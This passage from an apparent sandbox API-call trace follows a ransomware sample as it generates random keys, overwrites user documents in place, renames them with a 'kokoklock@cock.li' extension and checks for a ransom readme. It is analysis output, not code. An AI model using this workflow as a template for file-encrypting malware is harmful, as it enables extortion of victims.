lpNumberOfBytesWritten=0x130ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x130ef7b0*=0x4, lpOverlapped=0x0) returned 1 [0174.472] WriteFile (in: hFile=0x928, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x130ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x130ef7b0*=0x6c, lpOverlapped=0x0) returned 1 [0174.472] WriteFile (in: hFile=0x928, lpBuffer=0x3053da8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x130ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x3053da8*, lpNumberOfBytesWritten=0x130ef7b0*=0x20, lpOverlapped=0x0) returned 1 [0174.472] WriteFile (in: hFile=0x928, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x130ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x130ef7b0*=0x4, lpOverlapped=0x0) returned 1 [0174.472] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0174.472] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0174.472] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0174.472] CloseHandle (hObject=0x928) returned 1 [0174.472] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97758 [0174.472] wcscpy (in: _Dest=0x2f97758, _Source="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731" [0174.472] wcscat (in: _Dest=0x2f97758, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0174.472] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\yszgvumn.xlsx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\yszgvumn.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.477] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.477] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97758) returned 1 [0174.477] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.477] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87a90 [0174.477] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0174.477] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0174.477] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0174.477] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0174.477] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3e00) returned 1 [0174.477] RtlExitUserThread (Status=0x1) Thread: id = 1926 os_tid = 0x8c0 [0170.706] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\zeebhqjug4xpblh_sa.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.423] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.423] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\zeebhqjug4xpblh_sa.xlsx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x928 [0174.423] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x1316fc4c | out: lpFileSize=0x1316fc4c*=89533) returned 1 [0174.423] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x15db9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.424] ReadFile (in: hFile=0x928, lpBuffer=0x1316fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1316fc1c, lpOverlapped=0x0 | out: lpBuffer=0x1316fc20*, lpNumberOfBytesRead=0x1316fc1c*=0x4, lpOverlapped=0x0) returned 1 [0174.425] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.425] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.425] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0174.425] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053df8 [0174.425] NtQuerySystemTime (in: CurrentTime=0x1316fbf8 | out: CurrentTime=0x1316fbf8*=132121213317326877) returned 0x0 [0174.425] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x3c18ad8e [0174.425] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x8e0b2dd1 [0174.425] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xe103d8e3 [0174.425] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x4af69151 [0174.425] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xd1cfb5c5 [0174.425] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x67a459ec [0174.425] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x9023c432 [0174.425] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xee434c32 [0174.425] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xbc3d610c [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xa2636d7e [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x8ebad9ec [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x9836920f [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xcf903b66 [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xab1210c7 [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x7741dcc6 [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xf7cbbe5c [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xeb3ee189 [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xb5d453e4 [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x4cd3a7ed [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xd64b5293 [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x4863ef31 [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x6a483517 [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xb3d807ad [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x87d9be2a [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x3d8875ff [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xb36a768c [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xd1a1870f [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x36dc140b [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xe4b0d675 [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0xa930b11 [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x89a33ce4 [0174.426] RtlRandom (in: Seed=0x1316fc04 | out: Seed=0x1316fc04) returned 0x70e02a92 [0174.438] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.438] ReadFile (in: hFile=0x928, lpBuffer=0x4ef0048, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1316fbd0, lpOverlapped=0x0 | out: lpBuffer=0x4ef0048*, lpNumberOfBytesRead=0x1316fbd0*=0x4096, lpOverlapped=0x0) returned 1 [0174.439] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.439] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0174.439] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013530 [0174.439] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0174.439] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e20) returned 1 [0174.439] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4ef40e8 [0174.439] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.439] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0174.439] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0174.439] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0174.439] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0174.439] WriteFile (in: hFile=0x928, lpBuffer=0x4ef40e8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1316fbd0, lpOverlapped=0x0 | out: lpBuffer=0x4ef40e8*, lpNumberOfBytesWritten=0x1316fbd0*=0x4096, lpOverlapped=0x0) returned 1 [0174.440] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef40e8) returned 1 [0174.440] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x15dbd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.440] WriteFile (in: hFile=0x928, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1316fc08, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x1316fc08*=0x20, lpOverlapped=0x0) returned 1 [0174.440] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0174.440] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef0048) returned 1 [0174.440] WriteFile (in: hFile=0x928, lpBuffer=0x3053d80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1316fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3053d80*, lpNumberOfBytesWritten=0x1316fc1c*=0x8, lpOverlapped=0x0) returned 1 [0174.440] WriteFile (in: hFile=0x928, lpBuffer=0x1316fc34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1316fc1c, lpOverlapped=0x0 | out: lpBuffer=0x1316fc34*, lpNumberOfBytesWritten=0x1316fc1c*=0x4, lpOverlapped=0x0) returned 1 [0174.440] WriteFile (in: hFile=0x928, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1316fc1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1316fc1c*=0x4, lpOverlapped=0x0) returned 1 [0174.441] WriteFile (in: hFile=0x928, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1316fc1c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1316fc1c*=0x6c, lpOverlapped=0x0) returned 1 [0174.441] WriteFile (in: hFile=0x928, lpBuffer=0x3053da8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1316fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3053da8*, lpNumberOfBytesWritten=0x1316fc1c*=0x20, lpOverlapped=0x0) returned 1 [0174.441] WriteFile (in: hFile=0x928, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1316fc1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1316fc1c*=0x4, lpOverlapped=0x0) returned 1 [0174.441] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0174.441] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0174.441] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0174.441] CloseHandle (hObject=0x928) returned 1 [0174.441] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4850 [0174.441] wcscpy (in: _Dest=0x2fc4850, _Source="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731" [0174.441] wcscat (in: _Dest=0x2fc4850, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0174.441] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\zeebhqjug4xpblh_sa.xlsx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\zeebhqjug4xpblh_sa.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.442] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.442] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4850) returned 1 [0174.442] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zEEBhqjUg4xPBLH_sa.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.443] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87a90 [0174.443] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0174.443] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0174.443] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0174.443] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0174.443] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91c90) returned 1 [0174.443] RtlExitUserThread (Status=0x1) Thread: id = 1927 os_tid = 0x674 [0170.706] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\zowl_u2-hl-sb4.pps.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.420] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\zowl_u2-hl-sb4.pps.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x928 [0174.420] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x131efa98 | out: lpFileSize=0x131efa98*=55789) returned 1 [0174.421] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0xd9e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.421] ReadFile (in: hFile=0x928, lpBuffer=0x131efa6c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x131efa68, lpOverlapped=0x0 | out: lpBuffer=0x131efa6c*, lpNumberOfBytesRead=0x131efa68*=0x4, lpOverlapped=0x0) returned 1 [0174.422] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.422] CloseHandle (hObject=0x928) returned 1 [0174.422] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\zOWl_u2-Hl-SB4.pps.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feeac8) returned 1 [0174.422] RtlExitUserThread (Status=0x0) Thread: id = 1928 os_tid = 0x600 [0170.707] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\-e-xp3jnb4ja5h.avi.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.707] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.707] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\-e-xp3jnb4ja5h.avi.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0170.707] GetFileSizeEx (in: hFile=0x6dc, lpFileSize=0x1326fbcc | out: lpFileSize=0x1326fbcc*=16079) returned 1 [0170.708] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x3ecb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.708] ReadFile (in: hFile=0x6dc, lpBuffer=0x1326fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1326fb9c, lpOverlapped=0x0 | out: lpBuffer=0x1326fba0*, lpNumberOfBytesRead=0x1326fb9c*=0x4, lpOverlapped=0x0) returned 1 [0170.708] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.708] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0170.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e68 [0170.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057fa8 [0170.709] NtQuerySystemTime (in: CurrentTime=0x1326fb78 | out: CurrentTime=0x1326fb78*=132121213280221409) returned 0x0 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xfcd6edd8 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x4a9cdd76 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x4439d091 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x75dc43dc [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x1be5f814 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xb6da4d54 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x7bf885df [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xdda46d0d [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xb3a33219 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x792d94eb [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x65fdc19c [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xc24f40c0 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xdfa1ae72 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xe5dc9a00 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xa35a2a7 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x802f40bd [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x790cf5bb [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x939347e8 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x768419c7 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x90fef2a2 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xeeb31e47 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xaa5c9cc4 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x91bba7d2 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x6fb047b1 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xb87e1b6a [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xdd456823 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x1937c9d [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x4cfd9ca4 [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x1b43c29f [0170.709] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x8e6ce18f [0170.710] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0xb067b400 [0170.710] RtlRandom (in: Seed=0x1326fb84 | out: Seed=0x1326fb84) returned 0x3199390a [0170.719] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058070 [0170.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d00 [0170.721] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.721] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0170.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0170.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057fd0 [0170.721] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057fd0) returned 1 [0170.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053b20 [0170.722] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3058460 [0170.723] ReadFile (in: hFile=0x6dc, lpBuffer=0x3053b20, nNumberOfBytesToRead=0x3ecf, lpNumberOfBytesRead=0x1326fb78, lpOverlapped=0x0 | out: lpBuffer=0x3053b20*, lpNumberOfBytesRead=0x1326fb78*=0x3ecf, lpOverlapped=0x0) returned 1 [0170.723] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1326fb40 | out: lpNewFilePointer=0x0) returned 1 [0170.723] WriteFile (in: hFile=0x6dc, lpBuffer=0x3058460*, nNumberOfBytesToWrite=0x3ecf, lpNumberOfBytesWritten=0x1326fb74, lpOverlapped=0x0 | out: lpBuffer=0x3058460*, lpNumberOfBytesWritten=0x1326fb74*=0x3ecf, lpOverlapped=0x0) returned 1 [0170.724] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d28 [0170.724] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0170.724] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0170.724] WriteFile (in: hFile=0x6dc, lpBuffer=0x3057d28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1326fb70, lpOverlapped=0x0 | out: lpBuffer=0x3057d28*, lpNumberOfBytesWritten=0x1326fb70*=0x20, lpOverlapped=0x0) returned 1 [0170.724] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d28) returned 1 [0170.724] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058460) returned 1 [0170.724] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053b20) returned 1 [0170.724] RtlFreeHeap (HeapHandle=0x2f60000, 